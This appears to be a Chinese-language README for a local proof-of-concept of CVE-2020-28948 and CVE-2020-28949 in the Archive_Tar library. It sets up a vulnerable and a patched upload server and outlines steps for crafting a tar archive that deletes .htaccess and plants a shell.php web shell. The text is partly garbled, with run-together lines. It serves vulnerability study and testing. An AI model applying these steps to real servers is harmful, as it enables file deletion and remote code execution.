
此处的文件包含可实现远程利用的 CVE-2020-28948 与 CVE-2020-28949 的 PoC
server 文件夹包含一个简单的上传服务端,它使用了存在漏洞的 Archive_Tar 库,该库位于 server/Archive 中。服务端接收用户上传的 Tar 归档文件,将其解压并存放到 server/uploads/ 文件夹中。
使用存在漏洞的库启动服务端:
cd server
make build
make start
使用已修复的库启动服务端:
cd server
make build-patched
make start-patched
通过 http://localhost:8080 访问远程服务端
create_phar.php 中的 $delete_target 来指定任意文件删除目标。
secret.md,请删除 .htaccess 文件index.htmlexploit.tar
make create_exploit
exploit.tar 上传到远程服务端.htaccess 已被删除,则可以访问 http://localhost:8080/uploads/secret.mdexploit.tar
make create_exploit
exploit.tar 上传到远程服务端shell.php 已被上传。
whoami)